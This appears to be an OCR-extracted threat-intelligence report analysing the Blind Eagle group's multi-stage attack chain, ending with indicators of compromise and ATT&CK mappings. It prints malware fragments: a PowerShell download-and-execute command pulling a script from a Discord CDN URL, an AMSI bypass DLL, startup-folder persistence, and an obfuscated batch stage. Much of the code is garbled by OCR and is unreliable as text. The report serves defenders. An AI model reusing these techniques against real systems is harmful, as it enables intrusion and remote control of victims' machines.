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APT Blind Eagle’s Malware Arsenal: Technical Analysis of the New Attack Chain

Introduction

The Blind Eagle APT group is a threat actor group that is believed to be involved in
cyber espionage activities. The group mainly targets Colombian government institutions as
well as important corporations in the financial sector, petroleum industry, and professional
manufacturing. In this report, we will examine Blind Eagle's multi-stage attack chain and
provide indicators of compromise (loCs) that can be used to detect and defend against the
group's attacks.

Who Is Blind Eagle?

Blind Eagle (aka APT-C-36) is a suspected South America espionage group that has
been active since at least 2018. The group is known for using a variety of sophisticated attack
techniques, including custom malware, social engineering tactics, and spear-phishing attacks.
They have also been observed using exploits for zero-day vulnerabilities in their attacks.
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APT Blind Eagle’s Malware Arsenal: Technical Analysis of the New Attack Chain

First Stage: Javascript Downloader

In the first stage, a javascript downloader is used. The code below which is written in
Javascript uses ActiveXObject to run PowerShell commands.

var GOOGLE = new ActiveXObject ("wscript.shell");
2 GOOGLE.run("powershell.exe -noprofile -executionpolicy bypass i
( (New—-Object
‘,_1‘("}"": S S dapiy 4
£'))",0);

var GOOGLE = new ActiveXObject ("wscript.shell™);
GOOGLE. run ("powershell.exe -noprofile -executionpolicy
( (New-Object
et.WebClient) nl Exl (UhtEr I nis dapy nent

7 5 i 7 7 30 f A ! ) ) ’ ) ,'

Additionally, Blind Eagle abuses Discord CDNs to store the next stage script. Powershell
command above downloads the “cacha.pdf” named  ps1 script  from

“hxxp://cdn.discordapp[.Jcom/attachments/940363101067411527/946390049979781130/cac
ha.pdf” then executes the script.
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APT Blind Eagle’s Malware Arsenal: Technical Analysis of the New Attack Chain

Second Stage: Powershell Script

We have a Powershell Script with a length of 673.993. Execution starts with loading a
DLL into memory from an obfuscated and Base64 encoded string.

if ($ING -eqg 1 0){

$GOO =
"TVQQ\\M\\\\E\\\\//8\\Lg\\\\\\\\\d\\\\\\\\\\\\\\\\\\\\\\\
vdCBiZSBydW4gaW4gREITIG1vZGUuDQOKJI\\\\\\\\\BOQROA\T\ED\JrI
ABAA AL AN NG AN NN NN AN CA N AN NN G AN AN NN NAMA Y TONABANABA AN
AAGI AW VAL CEW L L0 LA LN L L L L LA
NANWANNNGAANNADG N AN N TN AN NN NN NNANCNANG N uenNyYWAN\ENE
AATLLLVR LA N AN O N VA AV VA N A VA AN BIANNNN\EG)
ANV NAN MV NABswBACYAN NN\ NEQN KB\ N\ \oejRUN\\EL
HEK\Q\\\YNCX4B\\\Ejm1gKBM\\\ofQOBIEK\Y\\\YmfgE\\\QWCX4B\\\E
\CigX \\AK\\De\Co\\R\ANANANNQCDRANGEQ\ N\ SICKBk\\\o\K1IXjRU\
MANEFAGWANANVAAWNNTI34N\\KODN\CIBANNT1INOcm1uZ3M\ N\ AL\ g\ \CO\
\\PoBMw AW\ N ABANNNGWA NN NUNAANADANNABWA NN NS \NAANZANNADWANNNEN
\h\GA\\WS\ OgM\ A\ Y\ \EF\wY\MwI+\wY\F\IH\wY\p\I+\wY¥\c\I+\wY\
\UQE3\wY\S5wIZB\Y\2wI3\wY\7\Oy\wY\bwQ3\wY\FgE3\wY\e\M3\wY\
BAABHAMANNOONCANG\EWEN N NOANNABNANNONCAARNOEDYa\ z\WY\ Za\ z\ac\

A A R R N N N N N N N N A N A A N A A A A R R R R AR R RN
AR N R N R R R R N R N A N N N N N R N N R N N A R A A N A A R R R R R R R
AR N R R N R N N N N R N N N N N R N N N N N A R R A N A A N R R R R RN
\H

[Byte[]]$HX=[System.Convert]::FromBase64String ($G00.Replace('\','A"))
[Void] [System.Reflection.Assembly] : :Load ([byte[]] ($HX))

[pepel : :Bypass ()

i}

This is a DLL file, portable executable, written in .NET.

QQQQoo0g hD SA 90 00 O3 00 00 00 04 00 QO QO FF FF Q0 0O EZ .......... V..
00000010 B& 00 00 00 Q0 OO0 Q0 00 40 00 00 00 00 00 00 00 ,....... [CI .
QQQQo0zZ0 00 00 Q0 00 Q0 00 Q0 00 00 00 00 00 Q0 00 00 00 ... ....eeeernnns
00000030 00 00 00 00 00 OO0 00 00 00 00 00 00 80 00 00 00 ............ €...
00000040 OE 1F BA OE 00 B4 0% CD 21 B8 01 4C CD 21 54 68 ..°.. .Ir .Li'Th
00000050 69 73 20 TO 72 6F €7 72 €1 &D 20 €3 61 €E 6E €F is program canno
Q0000060 T4 20 62 €5 20 T2 75 6E 20 &% €E 20 44 4F 53 20 t be run in DOS

000C00070 6D 6F 64 €5 2E 0D OD OR 24 00 00 0O 00 00 00 00 mode....5.......
00000080 50 45 00 00 4C 01 03 00 SA C8 4% C% 00 00 00 00 PE..L...3EIE....
00000090 00 00 00 00 EO 00 22 20 OB 01 30 00 00 COE 00 00 ....&." ..0.....

Q00Q000RO 00 OB 00 OO0 Q0 OO0 00 00 56 2C 00 00 00 20 00 00 ........ Veeono -
000000BO 00 40 00 00 00 00 00 10 00 20 00 00 00 02 00 00 .B...vvve vonunn
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APT Blind Eagle’s Malware Arsenal: Technical Analysis of the New Attack Chain

As you see in the pictures above, the Powershell script calls method Bypass() from the DLL.
This method is simply an AMSI (AntiMalware Scan Interface) bypasser.

System;
System.Runtime.InteropServices;
System.Text;

AmsiFun;

@string = Encoding. . Ge ing( [
string2 = Encoding. .Getstring( [

] { 97, 109, 115, 105, 46, 100, 108, 108 });
]

65, 109, 115, 105, 83, 99, 97, 110, 66, 117,
102, 102, 101, 114
s
intPtr = SPIDERMAN. (@string);
procAddress = SPIDERMAN. (intPtr, string2);
num;
SPIDERMAN. (procAddress, ( Y((u ) (( )PEPE. pat ; )), 64U, num) ;
(PEPE.p tes, @, procAddress, PEPE. es. )
("bypass");

(; xception ex)

[1{195 };

If the bypass is successful, the method outputs the message "bypass" to the console. If there
is any exception during the execution, the method catches it and outputs the exception
message and its inner exception to the console.
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APT Blind Eagle’s Malware Arsenal: Technical Analysis of the New Attack Chain

We are back to our Powershell script. It checks the registry for
HKCU:\software\wow6432node\Microsoft\WindowsUpdate key. If it is not present then it
creates the key and sets an obfuscated value without deobfuscating it.

$a = 'HKCU:\software\

$vv = Test-Path $a
if ($vv -eq $false){

function Google ($string) {
$kong = "PsSK]Bd{wn |EERizmdEERWEER><; : vwlmdUgkzw{wn|d qvlwBEB{]x1i|m"

$GODZILLA="

$GODZI = .. ($kong.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($kong[$ 1.Tostring(),0)-§GODZILLA)}) -join ""
New-Item -Path $GODZI -Value $string

}

$Updates =

"U2FsdGVkX1911PW/jsrEdo5fXraZzKDsEnS8D2yp+1IWl2k871lwtvTg3QDdkco4 6wFhhw9F6XGIQGNT6HmMCc12K6n72hUa7TtyA68zgnySx0Q1gS109wTLDyn7+0egis2}
MMWhTBINmMMamQbW/ 3MzTK6xsuYC+Wk fXvnYmumClmgckbmebn0xmvOo,/mMEiNy1l6g/KySNDyUeWH15]jgy6pKJG7Bs3U86LDrg2qaMG4 /QEcBo3DPCDkbOVETKOS57S1WVay
nySDiVWDrS21TTKC6LWBO9YHaOmLVmVX/CT3()IMVJROJHI1idVHwkaXJRigRZSNITGVHI\'FYFSDPI‘SINI 6thlePnFYTELj P8meILKtD5g9YzbD71I0025W52PyhhPy
EQxOZcvmvMiyXhx3DB/A001Sn4acz4UnSZL8dTwt0701+5k1Fo7VNX2XAQIG2)gKnxggTz0GW8NnsG021wEi2ngftKJJ9Puoe 7qoWo6E41KvxXLz2Vi+XDr£B1b+DshbUYh/ <
4TK8nVdz12JInZLwkcqUNMBhnQ/RSNXEGpDGhmYIFdfSoITEcZaRFucePu9smHSUCTuyNziAidYVrD+0H31HHAWGjxjcNj15Et+r1DSCc2NF2SHWwSceQHscgyahkplcXC3C
Ej60g0CKkK26kHIBVNDOIAMEXzH1 V+RHL5SE3B7ZEY4MNDXAZe rWHPAXyZM+8Fd+G2sG0udgkBRYXAFNkX 6z INIErwwGPFAz214wR08LL001vCYeV1FAW3YdESFz6gfF31
ZvbxwnSdyHZVBBY 6 7RU2wt yasdTkWGL5XxPOJiHTWES2HZRMIJv1XCcVSHU6D9rjV3nYsKw35162yK+0J6zY3/7TIWQMENEfT7170PmxpPa9z £+tpnNu7T/6rGO6BHYT+5JInk
Qs8HMXKNbLBE] 6xQ8/gxwéD0yUL7/vKtpNrTxp+AAwkezz1XMT0fh+40JdKeMps f4bgcnJoVd9Bot xdJx6rpsD8YBSKzM] 6xZ2rSm7u9Q0LyMCQbCXe 4F+zJHIN+VNT 2xQ]1
0GOBXJh/jLu/4k/gMzvI/9G6qRE+G+U11eMekMESSHLY1UNGpkkziiMeVm33MzQ1NgODeCL140s6Z4 5+BgX+WYMquD+7pQnYmzE7/n/8/nSZz1f9IW2vYah/WuRXBlcG1

Then it drops 2 files. First one is a Powershell script named myScript.ps1 and the second one
is a batch file named SystemLogin.bat.

1cnJpdGoyaWIEaXNOcml 0YWx1bnI 1YXN] cmJhbmFzeXJ 1 cmFs ZXNt LWFsamdoaXBk ZmVqZmR4YXNmI CRTTK9STEFYDQONCg==""
FUNCTION DAFD5C5BI266824C4EEFCE3E0C69FD3FAA ($DAFDSC5BI266824CAEEFCE3E0CE69FD3FARE)
I
$a = "FrU+"omBa"+"see"+"4Str"+"ing"
$D4FD5C5B9266824C4EEFC83E0C69FD3FAAG = [Text.Encoding]::Utf8.GetsString([Convert]::$a($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE))
return $D4FD5C5B9266824C4EEFCE3E0C69FDIFAAG
}

$Content = D4FD5CS5BY266824C4EEFCE3E0CE69FD3FAL ($Base64)
Set-Content -Path $env:PUBLIC\myScript.psl -Value §Content

Function MEME () {

$GOKU = [Text.Encoding]::ASCII.GetString([Convert]::FromBase€4String(

' IW9temNyZmIlbSV0eGZsdG5jJXM1Y3BocmlyYSVodWxycmhzdnUldCv4Z2dvaxXd3JWEleWSucGlpaiUgXzhZHNkeWU1divyZXJzc3BRIWIlat
PJIXpn¥mlSdWs1lcCV0Z211Zm54JXQ1Z2NuaXhuaiveJXVe ZXRwbnU1RSVhd3VSbXRWIXgLCXRNZHVxbyV1JXFrdm9r ZHglYyVodHZyYml t JXULYr
1dWxybmJlaXglQyVic2hhdmZpd®IlaZhjbndqdivVlJWtrz2Fyd2s1YSV1Znd3Z2XPtIxXQ1ld25zdndrdiV1JXV3YWZ2emY1TyVnYml jemFt JWI1Z:
0JWdmbXF1bmI1KCVyZ3JhcHBpJSI1Z2X1gdmOwaiUi JWp4dmR3eHE1VYVECWRWYWRhIVM] ZXpvYW1j ZyV] JWZ5dXNgb2U1ciV4bWErYWpj Jwk1av
TJWp2YWJ4a3UlaCVweHB4bnJ6JWUlemlicXZ1YyVsIJXFuemNmcWwlbCVrZWNlempkJSI1bmROAEIOdiUiJXpkY2FidXM1KSV3enpuZmtpJdsdld:
gJW51eH1wZ3I1T1iVwaHdnenN1JSI1ZHZnaGdxayVwIWdmcXdyYXglbyVudXFwY2d3JXc1bHVECcHB2bSV1JXVudHZpemslcivVkeGRsb2R1JXM1c
5JXpwanNsdWY1lICV3c3JscWimIS01b2thdXVmaiVFJIXdzc2R0a241eCVyZG5udWN1JWU1bGR5emJ2acv] JX16eW50dngldsvseHF4bXZ1JXQlcl
QJIXRkaWhrYWklbyVtaGita3vndWwlaWNpY21s5eCVpIXEkaGdshbHQlYyVkb31lncXFoJXklemFShWdoZCUgIWpve 3poa3IlQivge3duY 3hmIxXkldr
zJXd0d3JveGMlICVseXppaHZ4JSY1Z2GXeeXRXCcCUgIWNODGZOZXALJyVEY312cXZ5TJUMlamVkZml 5cyUeJXd3dnpreHULXCVpZmxxaHlsJvulal
zJWFjdHBndHol1XCVraGdzdXdzJVA1Z311cGVuesSV1JWkieXJ1dnAlYivhc21mdHER1 JWwlaHZiYmpeaivVpJXlxcmRndnklYyVpaZgnyYnl2JVwly:
jowluzZwliaG01lcivzdGJ4a29kdWklc255YnNidyVwIWIsYX1nZmY1dCv1YmpkbHEBjJS41Z22VpbHdhZSVwIWJkeHVyc2clcyV4ZGNhb2poJTEL 21
5JWhiZXhibnEl1ICVpaWx52X1kJTAIZnViYndveiU6JWF5cGIsZ2wlYyV4eHpld3didJWwlb3FkeWl zcCvvdWdobX1ybnglcyVvbmVpcHNAJWUlar
JCenNoOZWEtgJISVnemplY2F1JQ=="))

[System.IO.File]l::WriteAllText (([Environment]::GetFolderPath('ApplicationData’) + "\SystemLogin.bat”), $GOKU)

MEME

7/
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APT Blind Eagle’s Malware Arsenal: Technical Analysis of the New Attack Chain

Finally, it places a VBScript named Loginl.vbs in the Startup folder, which will be
executed automatically when the system starts. Subsequently, the script is executed.

JFunction MEME44 () {
[Text.Encoding]::ASCII.Ge
59ialNoZWxsIDOgV iC5

([Convert]:

:FromBaseedString(
dTY3JpcHQUUZh1bGwiKQOk

[System.IO.File]::WriteAllText (([Environment]::GetFolderPath(7) + "\Loginl.vbs"), §var)

-}

MEME4 4

$A = [System.Environment]::GetFolderPath(7) + "‘\Loginl.VBs"

start-sleep -5 -
invoke-item Sﬂ

7/
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Third Stage: VBScript Located in the Startup

The VBScript located in the Startup folder executes the SystemLogin.bat which was
dropped previously.

]Set objShell = WScript.CreateCbject ("WScript.sShell")

appDatalocation=objShell.ExpandEnvironmentStrings ("SAFPDATAS")

Set WshShell = CreateObject("WScript.Shell™)

WshShell.Run chr(34) & appDatalocation & "\SystemLogin.bat" & Chr(34), 0
Set WshShell = Nothing

{(é
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Fourth Stage: Obfuscated Batch Script

Deobfuscated form of the batch script below is:

mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run
""powershell -ExecutionPolicy Bypass &
'C:\Users\Public\myScript.ps1'"", @:close")

So it executes the myScript.ps1 which was dropped previously from Powershell script.

$omzcrfb%m%txfltnc%stcphrmrath%lrrhsvu%t$xggoiwwta%synnpmij% $%$vadsdye%v¥rersspg$b
$hrxnomv$s$fvghtcvictwmopyxz%$r¥esgzwcd%i%zgbiyuk$pstgmufnx$t¥gcnixnj%: $uzetpnusE
$awuymtp$x¥gtgdugotetgkvokdxtcsytvrbimtutbfwcosy$tsvkpinlw$e%jurpbkb% ($dgvccdjs"”
$1lrnbuix%C%bshavfi%r¥khcnwjvietkkgarwk%atefrwepm$t¥wnsvwkvietuwafvzf$0%gbiczam$b
$ewknrpr$jtmgiwwub%e%lontxif%$ctelvsvdt¥ttgfmqunb$ ($rgrappi%"$eyjvopj$"$jxvdwxgsW
$ggdpada%$S%ezoamcg¥ctflusjoetbrixmkkajcti%iehkjlp¥pbskuoyoisttpbskieo%.$tdmminf%S
$jvabxkuth%pxpxnrz%$e%zibgvuc%l¥qnzcfql%$l tkecezjd%"$ndttrtvs"$zdcabus%) $wzznfki%.
$uptefzctR¥awgtogstutagmxwtm¥ntkooujxvs %nexypgr$"$phwgzsu%"$dvghggk¥p¥gfgqwrax%o
$nugpcgwiwilugppvm$ebuntvizk$r¥dpdlode%stpdssfegth¥gkzuigttetnxpxzgp%l%ibdxpya%$l
$zpjsluf% %wsrlgkf%-%okauufj$ESwgsdtkn$x$rdnnucute$ldyzbvhicsyzyntvtbudblxgxmvest
$rugdicz%$i%hrsirzy%o%ihhsglh%n%grhvxgw$P%tdihkai%o%mhbmkug$l%icicmlx%i%vdhgyltsc
$doygqggh%y%zaymghd% %joszhkr$B%jswncxf%y%vcdbayw¥p%oleassf¥atmtmkrip%s¥yzuhviwss
$wtwroxc% %lyzihvx%&%dlzytgp% %ctlfhep%'%ycyvqvl$C%jedfmys%:swwvzkxu%\%iflghyl%U%
inouwlk%s%wwafikqg%e%xjgwfwosr¥wuaxlky$s%sactpgtz%\skhgsuws$P%gyepeny%u%lbyrevp$b%
asmftte%1l%hvbbjzj%i%yqrdgvy%c%iklgbyv$\%cbojvrn$m%mljfcurg$yd$raneycc%S%owlrctsscs
mneibhm%$r¥stbxkod%i%snybsbw¥p%blaygff$t%ebjdlpc%. %geilwae$ptbdxursg$s$xdcaojh%l%
fsctzoh%'$drculdw¥"$mkfaechu%"$vmpgklo%, $hbexbng% %$iilyeyd%0%fubbwoz%:%aypblgl%c
$xxzewwb%1l%ogdgmsp%o%sghmyrnt%s%oneipsx%e%jazrrke%"%jlolmxd$)
$pxkrped%$tkfgkxwa%$%jrshekj%¥gzjucau$

.
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Fifth Stage: Final Powershell Script leads to NJRAT

First it loads the same AMSIBypasser DLL into memory and calls the same method in
the second stage. Then it loads a second DLL which is AES256 Decryptor, it decrypts the
contents of the HKCU:\software\wow6432node\Microsoft\WindowsUpdate Registry Key which
was previously written. The “5456846176463687555” passphrase is used to create the
decryption key.

$oVXH = New-Object IO.Compression.DeflateStream([IO.MemoryStream] [Convert]::FromBase64String ($ABiKKThKEWHeGHT) , [I0.Compression.
CompressionMode] : : Decompress)

$xkHpPHSVMgADXtMR = New-Object Byte[]( )

$oVXH . Read ($§xkHpPHSVMgADXtMR,, ’ ) | Out-Null

[System.Threading.Thread] : :GetDomain () . Load ($xkHpPHSVMgADXtMR)

$kong2 = " DET] [DETLBIDE L ER IDEL]

$GODZILLAZ=

$GODZI2 = (.. (S$kong2.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32 ($kong2([$_].ToString(), )-$GODZILLA2)}) -
join ""

$value = Get temProperty —-Path $GODZI2 -Name "

$SNORLAX = [RTUA.SONVEGETA] ::RETURNRUMANIA ( ($value.' o, ! 63¢ "

§r = " + . + tor ¢

Set-Alias §r ($r[$true-13] + (S$r[[bytel( R "y - 1) + $rl[byte] ("0=" + * N - 1)

comoestorganizadoelconjuntodeobjetosgeogrficosdelterritorioDistritalenreasurbanasyruralesm-aljghipdfejfdzasf $SNORLAX

System;

AesEverywhere;

RTUA

5256 aes AES256();
aes.Decrypt(CODE, KEY);

Decrypted content is a new Powershell script which leads to njRAT. njRAT, also known as
Bladabindi is a remote access tool (RAT) with user interface or trojan which allows the holder
of the program to control the end-user's computer.
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YARA RULE
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Indicators Of Compromise

TYPE VALUE

SHA256 |d10a6df70ccbd813afl614eecf8dal485cbb45889ab6a87b410deel0e98fctbf

SHA256 |e8ba5871d6005a6b63ec510869baab3e2a485e3d63d7526f19a38af0eac834ac

SHA256 | 93ce9e3b4c9eea7ed5f36512e884fcfb516d1f764b5c28a47542062a6f303bb9

URL hxxps://cdn.discordapp.com/attachments/940363101067411527/94639004997978
1130/cacha.pdf
IP febenvi[.]Jduckdns.org:2050

MITRE ATT&CK

ATT&CK NAME ATT&CK ID
Powershell T1059.001
Scripting T1064
Startup Folder T1547.001
Process Injection T1055
Masquerading T1036
Sandbox Evasion T1497
Application Layer Protocol T1071
X7
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